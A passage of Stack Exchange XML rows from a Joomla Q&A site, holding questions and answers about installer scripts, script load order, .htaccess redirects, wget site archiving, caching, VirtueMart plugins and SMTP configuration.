  <row Id="22221" PostTypeId="2" ParentId="17186" CreationDate="2018-01-10T19:02:37.580" Score="1" Body="&lt;p&gt;Yes. You need to have a &lt;a href=&quot;https://docs.joomla.org/J2.5:Developing_a_MVC_Component/Adding_an_install-uninstall-update_script_file&quot; rel=&quot;nofollow noreferrer&quot;&gt;installer script&lt;/a&gt;. Then in the install script do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function postflight($route, $_this)&#xA;{&#xA;    // Get a database connector object&#xA;    $db = JFactory::getDbo();&#xA;&#xA;    try {&#xA;        // Enable plugin by default&#xA;        $q = $db-&amp;gt;getQuery(true);&#xA;&#xA;        $q-&amp;gt;update('#__extensions');&#xA;        $q-&amp;gt;set($this-&amp;gt;db-&amp;gt;quoteName('ordering') . ' = -1')&#xA;            -&amp;gt;where($this-&amp;gt;db-&amp;gt;quoteName('type') . ' = ' . $this-&amp;gt;db-&amp;gt;quote('plugin'))&#xA;            -&amp;gt;where($this-&amp;gt;db-&amp;gt;quoteName('element') . ' = ' . $this-&amp;gt;db-&amp;gt;quote('PLUGIN_NAME'))&#xA;            -&amp;gt;where($this-&amp;gt;db-&amp;gt;quoteName('folder') . ' = ' . $this-&amp;gt;db-&amp;gt;quote('system'));&#xA;&#xA;        $db-&amp;gt;setQuery($q);&#xA;&#xA;        method_exists($db, 'execute') ? $db-&amp;gt;execute() : $db-&amp;gt;query();&#xA;    } catch (Exception $e) {&#xA;        throw $e;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8804" LastActivityDate="2018-01-10T19:02:37.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22224" PostTypeId="1" CreationDate="2018-01-11T09:29:10.187" Score="3" ViewCount="734" Body="&lt;p&gt;Does anyone know how can I get the current menu model in Joomla 4?&#xA;In 2.5/3.X I was using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $model = JModelLegacy::getInstance( 'MenusModelItem' )&#xA;            -&amp;gt;getItem();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this is not working anymore in 4. I kinda cannot find any way to get it in J4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&#xA;Radek&lt;/p&gt;&#xA;" OwnerUserId="1550" LastEditorUserId="120" LastEditDate="2018-01-12T04:45:59.287" LastActivityDate="2018-01-16T06:54:39.940" Title="Menu Model Item in Joomla 4" Tags="|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22225" PostTypeId="2" ParentId="22186" CreationDate="2018-01-11T10:45:51.850" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;in Joomla there is no where to assign canonical tag for articles to&#xA;  solve duplicate content issue. is there any solution to solve this?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Add your main URL (site domain) into the System SEF plugin and Joomla will add a canonical url tag&lt;/p&gt;&#xA;" OwnerUserId="1550" LastActivityDate="2018-01-11T10:45:51.850" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22227" PostTypeId="1" AcceptedAnswerId="22229" CreationDate="2018-01-11T16:59:26.323" Score="6" ViewCount="2029" Body="&lt;p&gt;Unfortunatelly I can't register on the joomla forum, so I'll try my best here.&lt;br&gt;&#xA;Please help, is there any way to control the order of loaded scripts.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&#xA;in my template's index.php I do:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc-&amp;gt;addScript('my/script_a.js');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as the very first addScript();&#xA;So I load that script globally for all pages.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, in the default.php of my custom component I do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc-&amp;gt;addScript('my/script_b.js');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to add additional behaviour for that very component view specifically.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Logically I would assume that the addScripts in the index.php are added to the $doc object first and after that the addScripts in the component view are appended $doc object.&lt;br&gt;&#xA;But what I end up with in the head is:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;my/script_b.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;my/script_a.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This bugs me pretty hard since my/script_a.js performes calculations my/script_b.js depends on, so the order is crucial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, there must be a way to control the order of loading scripts otherwise this feature is pretty much pointless, isn't it?&lt;/p&gt;&#xA;" OwnerUserId="12093" LastActivityDate="2019-01-07T23:42:27.413" Title="Control order of loaded scripts" Tags="|joomla-3.x|javascript|joomla3.8|jdocument|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22228" PostTypeId="1" AcceptedAnswerId="22293" CreationDate="2018-01-11T19:14:59.890" Score="2" ViewCount="420" Body="&lt;p&gt;Okay, so I have this Joomla website that I maintain for someone. It has the components RSForm! Pro and RSEvents!Pro installed. Every once in a while, we have an event, and the signup for it will be through a RSForm!Pro-form. This works fine. The only thing I cannot seem to find, is how to add a payment reference (for example, a fixed code and the name of the person filling in the form, so a form-field) to the payment. Payment is through Mollie. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is one form that has it working, but I cannot find where it is configured. So what I do now is copy that one form, leave the fixed reference in place and change the rest of the form completely. But it bugs me that I cannot seem to find this information :/ &lt;/p&gt;&#xA;" OwnerUserId="8462" LastActivityDate="2018-03-15T16:15:16.053" Title="How to add a payment reference to RSForms!Pro?" Tags="|rsform|joomla3.8|payment-gateway|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22229" PostTypeId="2" ParentId="22227" CreationDate="2018-01-11T22:12:55.183" Score="8" Body="&lt;ol&gt;&#xA;&lt;li&gt;The JDocument's addScript method has no options for ordering (eg by priority or something like WP).&lt;/li&gt;&#xA;&lt;li&gt;There are numerous ways to solve your problem.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;First&lt;/strong&gt;, to understand why what you're doing is causing the problem you need to know the Joomla lifecycle.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Bootstrap Framework &amp;amp; Application&lt;/li&gt;&#xA;&lt;li&gt;Route&lt;/li&gt;&#xA;&lt;li&gt;Component&lt;/li&gt;&#xA;&lt;li&gt;Modules&lt;/li&gt;&#xA;&lt;li&gt;Template&lt;/li&gt;&#xA;&lt;li&gt;Render and Respond&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So when you call addScript in your template it gets added to the Document after the script added by your component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Second&lt;/strong&gt;, to the solutions...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If the script loaded by your template has no dependencies then just write it inline above your&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Custom head tags are loaded after the scripts so in your component don't use addScript, use addCustomTag instead. eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc-&amp;gt;addCustomTag('&amp;lt;script src=&quot;my/script_b.js&quot;&amp;gt;&amp;lt;/script&amp;gt;');&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Write a system plugin and in the onAfterRoute method first load your global script and then see if the option in the JInput is your component and then load your component script if it is (or just load it in your component tmpl as you're already doing).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the template get the head data from the JDocument and rustle it how ever you like.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Further reading:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/src/Document/HtmlDocument.php&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/libraries/src/Document/HtmlDocument.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7374" LastEditorUserId="7374" LastEditDate="2018-01-12T23:42:35.670" LastActivityDate="2018-01-12T23:42:35.670" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="22230" PostTypeId="2" ParentId="22049" CreationDate="2018-01-11T22:19:39.570" Score="0" Body="&lt;p&gt;You should be able to make a regular menu item that is public, but point to content that is private.  So if it was a single article, that would be set to Registered but menu item public.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That should cause the normal Joomla login screen and redirect.&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2018-01-11T22:19:39.570" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22231" PostTypeId="5" CreationDate="2018-01-12T05:01:06.077" Score="0" Body="&lt;h2&gt;Joomla 4.x&lt;/h2&gt;&#xA;For questions regarding version 4.x of the Joomla! Content Management System.&#xA;&lt;p&gt;##History##&#xA;Joomla 4.0 was released on August 17, 2021.&lt;/p&gt;&#xA;&lt;p&gt;##Important Changes##&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;improved install process&lt;/li&gt;&#xA;&lt;li&gt;new accessible backend and frontend templates&lt;/li&gt;&#xA;&lt;li&gt;Bootstrap 5 integration&lt;/li&gt;&#xA;&lt;li&gt;new media manager&lt;/li&gt;&#xA;&lt;li&gt;new publishing workflow&lt;/li&gt;&#xA;&lt;li&gt;new web services&lt;/li&gt;&#xA;&lt;li&gt;improved security features&lt;/li&gt;&#xA;&lt;li&gt;new HTML email templates&lt;/li&gt;&#xA;&lt;li&gt;improved and expanded Command Line Interface (CLI)&lt;/li&gt;&#xA;&lt;li&gt;cleaner and more powerful codebase&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;##Getting Joomla 4.x&#xA;The latest version of Joomla 4.x can be downloaded from &lt;a href=&quot;https://github.com/joomla/joomla-cms/releases&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/releases&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;##Installation&#xA;Joomla can be installed on any host with the &lt;a href=&quot;http://www.joomla.org/technical-requirements.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;minimum system requirements&lt;/a&gt;, or on a local computer using a web server like &lt;a href=&quot;http://en.wikipedia.org/wiki/List_of_Apache%E2%80%93MySQL%E2%80%93PHP_packages&quot; rel=&quot;nofollow noreferrer&quot;&gt;XAMPP, WAMP, LAMP, MAMP etc&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Note that Joomla 4.x requires a minimum of PHP 7.2.5.&lt;/p&gt;&#xA;&lt;p&gt;Note that pre-release versions of Joomla 4.x should not be used for production websites.&lt;/p&gt;&#xA;&lt;p&gt;Instructions on how to install Joomla can be found at &lt;a href=&quot;http://docs.joomla.org/Installing_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla! Docs&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2021-10-03T06:33:59.627" LastActivityDate="2021-10-03T06:33:59.627" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22232" PostTypeId="4" CreationDate="2018-01-12T05:01:06.077" Score="0" Body="For questions regarding version 4.x of the Joomla! Content Management System." OwnerUserId="120" LastEditorUserId="120" LastEditDate="2018-01-12T05:01:06.077" LastActivityDate="2018-01-12T05:01:06.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22233" PostTypeId="2" ParentId="22049" CreationDate="2018-01-12T07:23:33.140" Score="0" Body="&lt;p&gt;in you login url you need to do something like this : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$message = &quot;You must be logged in to view this content&quot;;&#xA;$url = JRoute::_('index.php?option=com_users&amp;amp;view=login&amp;amp;return=' . base64_encode('YOUR COMPONENT VIEW URL HERE')&#xA;$app-&amp;gt;redirect($url, $message);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11466" LastActivityDate="2018-01-12T07:23:33.140" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22234" PostTypeId="1" CreationDate="2018-01-12T13:31:28.060" Score="1" ViewCount="3375" Body="&lt;p&gt;I have some old links (old platform) and I want to redirect them to the new ones. I have both old and new links but I can figure it how to modify the &lt;strong&gt;.htaccess&lt;/strong&gt; file. Everything I try causes a 500 error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my &lt;strong&gt;.htaccess&lt;/strong&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule autoindex&amp;gt;&#xA;  IndexIgnore *&#xA;&amp;lt;/IfModule&amp;gt;&#xA;Options +FollowSymlinks&#xA;Options -Indexes&#xA;RewriteEngine On&#xA;RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) [OR]&#xA;RewriteCond %{QUERY_STRING} (&amp;lt;|%3C)([^s]*s)+cript.*(&amp;gt;|%3E) [NC,OR]&#xA;RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]&#xA;RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})&#xA;RewriteRule .* index.php [F]&#xA;RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}&#xA;RewriteCond %{REQUEST_URI} !^/index\.php&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule .* index.php [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is what I've added.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Redirect /index.php?c=newslist&amp;amp;id=12911 /news/article-name-etc-etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can someone help me?&lt;/p&gt;&#xA;" OwnerUserId="12097" LastActivityDate="2018-01-12T18:38:50.793" Title="Joomla htaccess file" Tags="|.htaccess-configuration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22235" PostTypeId="2" ParentId="22234" CreationDate="2018-01-12T18:38:50.793" Score="1" Body="&lt;p&gt;Put this ABOVE your current htaccess lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;&#xA;Redirect 301 /index.php /news/article-name-etc-etc?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;RewriteEngine On&lt;/strong&gt; is always a requirement  &lt;/li&gt;&#xA;&lt;li&gt;You need to put the command above because that first conditional in your code is messing with the index.php &lt;/li&gt;&#xA;&lt;li&gt;The &lt;strong&gt;?&lt;/strong&gt; at the end of the new url strips the query strings.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is a cool tool for tinkering with htaccess code: &lt;a href=&quot;http://htaccess.mwl.be/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://htaccess.mwl.be/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2018-01-12T18:38:50.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22236" PostTypeId="1" CreationDate="2018-01-13T03:01:05.047" Score="3" ViewCount="191" Body="&lt;p&gt;I've been asked to archive a Joomla website using wget so the end result is a directory of HTML and images. This way, the website can still be viewed for images and content without the actual MySQL database and the Joomla software and extensions. Again, this is only to archive it, not actually producing a production site this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using the following to create the archive:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wget --recursive --no-clobber --page-requisites --html-extension --convert-links --restrict-file-names=windows --random-wait --domains example.com --no-parent www.example.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This produces a directory called www.example.com, and it does contain the images, HTML version of the Joomla pages and even the CSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there are links which appear in HTML which are hard links to example.com. Such as the link for the CSS, it is still the same link as when the site was live as a Joomla website. While this looks like it successfully retrieve the entire website for archive purposes with wget, it is creating links to the production site on some things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how to solve this. Is there a way on wget to change things like &lt;a href=&quot;http://example.com/template/mytemplate/css&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://example.com/template/mytemplate/css&lt;/a&gt; so that ../template is at the root directory of the archive?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or do I need to create a shell script of sed -i to globally change so all the links reference itself? In the case with the CSS, I have checked and it did download it correctly, it just isn't pointing to it, it it pointing to the production live site.&lt;/p&gt;&#xA;" OwnerUserId="3943" LastEditorUserId="3943" LastEditDate="2018-01-13T03:09:52.360" LastActivityDate="2018-01-15T03:10:27.613" Title="Archiving a Joomla website with wget" Tags="|joomla-2.5|" AnswerCount="0" CommentCount="2" ClosedDate="2018-01-15T18:36:51.517" ContentLicense="CC BY-SA 3.0" />
  <row Id="22241" PostTypeId="2" ParentId="15907" CreationDate="2018-01-15T08:24:56.370" Score="0" Body="&lt;p&gt;500 error may come from your plugin's PHP code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got the same problem that my plugin's configuration was not saved. After debugging in Virtuemart code, I found out that I needed this function in my plugin's class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function plgVmDeclarePluginParamsPaymentVM3(&amp;amp;$data) {&#xA;    return $this-&amp;gt;declarePluginParams('payment', $data);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ensure that you already setup for parameters and pass them to Virtuemart in &lt;code&gt;__contstruct&lt;/code&gt; function. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function __construct(&amp;amp;$subject, $config)&#xA;{&#xA;    parent::__construct($subject, $config);&#xA;&#xA;    $this-&amp;gt;_loggable = true;&#xA;    $this-&amp;gt;tableFields = array_keys($this-&amp;gt;getTableSQLFields());&#xA;    $this-&amp;gt;_tablepkey = 'id';&#xA;    $this-&amp;gt;_tableId = 'id';&#xA;&#xA;    $varsToPush = [&#xA;        'my_param' =&amp;gt; array('', 'char'),&#xA;    ];&#xA;&#xA;    $this-&amp;gt;setConfigParameterable($this-&amp;gt;_configTableFieldName, $varsToPush);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="135" LastActivityDate="2018-01-15T08:24:56.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22246" PostTypeId="2" ParentId="21635" CreationDate="2018-01-16T04:29:17.487" Score="1" Body="&lt;p&gt;Yeah, the documentation is wrong.  This is how it's done.  I found your question while asking the same thing myself, and I realized that I was going to have to figure it out.  Not tough after reading the com_cache/cache model.  Modify the cache path if you're in /administrator&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$conf = JFactory::getConfig();&#xA;$options = array(&#xA;    'defaultgroup' =&amp;gt; '',&#xA;    'storage'      =&amp;gt; $conf-&amp;gt;get('cache_handler', ''),&#xA;    'caching'      =&amp;gt; true,&#xA;    'cachebase'    =&amp;gt; $conf-&amp;gt;get('cache_path', JPATH_SITE . '/cache')&#xA;);&#xA;$cache = JCache::getInstance('', $options);&#xA;$cache-&amp;gt;clean('your_extension_here');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2066" LastActivityDate="2018-01-16T04:29:17.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22247" PostTypeId="2" ParentId="22224" CreationDate="2018-01-16T06:54:39.940" Score="4" Body="&lt;p&gt;To get Menu item in Joomla 4 you can get the Item From the Factory like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;$menu = Factory::getApplication()-&amp;gt;getMenu();&#xA;$active = $menu-&amp;gt;getActive();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;getActive() will give the curent Menu Item, you can use other methods getDefault() or getItem() as per your need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get Menu items with menu type as &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$items = $menu-&amp;gt;getItems('menutype', 'mainmenu');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8987" LastActivityDate="2018-01-16T06:54:39.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22248" PostTypeId="1" CreationDate="2018-01-16T13:47:23.310" Score="0" ViewCount="329" Body="&lt;p&gt;is it possible to catch ajax post data from another module in my plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using SimpleForm2 &lt;a href=&quot;https://allforjoomla.ru/extensions/mod-simpleform2&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://allforjoomla.ru/extensions/mod-simpleform2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this module creates a form and pass post data via ajax to internal index.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my plugin i want to catch this post data but when i try to get&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$get_post = $_POST;&#xA;//or&#xA;$get_post = JFactory::getApplication()-&amp;gt;input;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;on onAfterInitialise() event in my plugin, I always get empty arrays.&lt;/p&gt;&#xA;" OwnerUserId="12110" LastActivityDate="2018-09-03T22:00:47.803" Title="Get ajax post data from another module in plugin" Tags="|module|ajax|form|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22249" PostTypeId="2" ParentId="22228" CreationDate="2018-01-16T15:14:23.637" Score="0" Body="&lt;p&gt;Not sure what you mean by payment reference. The settings of most payment plugins in RSForm are set at the configuration level (RSForm Pro -&gt; Configuration).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to add an unsupported payment method, then the best way would be to download the authorize.net RSForm plugin and the modify it to adjust to your new payment method. Note that this is typically hard work, so it's better to buy this plugin if you can find it.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2018-01-16T15:14:23.637" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22253" PostTypeId="2" ParentId="17829" CreationDate="2018-01-17T08:02:25.900" Score="2" Body="&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had the issue again today, renaming the htaccess only without disabling Admin Tools and then updating worked for me. So it seems to have to do with the rules, set in the htaccess by Admin Tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Initially given answer:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the update error &quot;Ajax Loading Error: &lt;em&gt;forbidden&lt;/em&gt;&quot; try:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1)&lt;/strong&gt; Disabling Admin Tools (if installed / component + system plugin)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2)&lt;/strong&gt; Disabling Akeeba Backup (if installed / package + component + file_akeeba)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3)&lt;/strong&gt; Rename htaccess&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did all 3 steps together and it worked for the 3.8.3 update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After update finished, you can redone step 1-3. If htaccess was deleted or can't be renamed back again, you can generate a new one via Admin Tools -&gt; &lt;em&gt;htaccess Maker&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="7024" LastEditorUserId="7024" LastEditDate="2018-02-13T11:40:39.720" LastActivityDate="2018-02-13T11:40:39.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22254" PostTypeId="1" AcceptedAnswerId="24814" CreationDate="2018-01-17T18:58:30.643" Score="0" ViewCount="147" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9mdnD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9mdnD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way that I can create a module template and give it a name with spaces?  At the moment it takes it's name from the file name, but that is not very neat for the user.  Can we create a language string to override this?  For example could we make the screenshot &quot;default 2&quot; instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does Joomla! make default appear with a capital letter &quot;Default&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And... as a second question.  I'd like to add a hint so I can show users what the options are via an image.  Would this be possible via a language string?  I only want to do it for this specific module and not all of the Joomla! modules.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2019-06-11T16:02:31.287" LastActivityDate="2019-06-11T20:48:53.947" Title="Module Template/alternate layout Name language Override" Tags="|custom-module|module-params|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22256" PostTypeId="2" ParentId="18801" CreationDate="2018-01-18T00:38:05.773" Score="0" Body="&lt;p&gt;I have created a Joomla 2.5 plugin to support the Google reCaptcha v2 widget. Don't get stuck March, 31 when Google's v1 API shuts down!&#xA;&lt;a href=&quot;https://simplifyyourweb.com/documentation/topics/844-google-recaptcha-v2-for-joomla-2-5&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://simplifyyourweb.com/documentation/topics/844-google-recaptcha-v2-for-joomla-2-5&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12116" LastActivityDate="2018-01-18T00:38:05.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22257" PostTypeId="2" ParentId="14330" CreationDate="2018-01-18T01:44:09.183" Score="3" Body="&lt;p&gt;I had a lot of trouble with this until I realised you have to select the correct TinyMCE panel set before editing the Prohibited elements. Choose the set that is assigned to &lt;code&gt;administrator&lt;/code&gt; and &lt;code&gt;editor&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[&lt;img src=&quot;https://i.stack.imgur.com/B2lJE.png&quot; alt=&quot;1]&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12117" LastEditorUserId="12293" LastEditDate="2018-03-05T14:10:18.860" LastActivityDate="2018-03-05T14:10:18.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22259" PostTypeId="2" ParentId="9537" CreationDate="2018-01-18T04:55:23.653" Score="0" Body="&lt;p&gt;What I have done is wrap what I considered to be the 'fulltext' of all of my category descriptions inside a &lt;strong&gt;div.fulltext&lt;/strong&gt;. Then, on the menu item of the categories page that is listing all of my categories, in the Page Display tab i have set a Page Class parameter of &lt;strong&gt;categorieslist&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I have set a css style to 'display:none' for .categorieslist .fulltext. e.g&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.categorieslist .fulltext {display: none;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It isn't pretty but it is a lot easier than trying to mimic the way that the content component does it for articles. And let's face it, how often do you update Category descriptions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck. :) &lt;/p&gt;&#xA;" OwnerUserId="11967" LastActivityDate="2018-01-18T04:55:23.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22260" PostTypeId="1" CreationDate="2018-01-18T05:08:55.333" Score="-2" ViewCount="206" Body="&lt;p&gt;I have a site developed in Joomla 2.5.9. Recently it moved to a new server and email is changed. I changed the email settings in Global configuration section. But now if I try to send email from Contact page it shows error like as follows &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;The following from address failed:&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following are my email configuration details :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mailer : SMTP&#xA;From mail : info@mydomain.com&#xA;sendmail path : /usr/sbin/sendmail&#xA;SMTP port : 25&#xA;SMSTP username : info@mydomain.com&#xA;SMTP password : xxxxx&#xA;SMTP Host : us2.smtp.mailhostbox.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11811" LastActivityDate="2018-01-22T21:18:23.200" Title="Contact form error : The following from address failed" Tags="|joomla-2.5|emails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
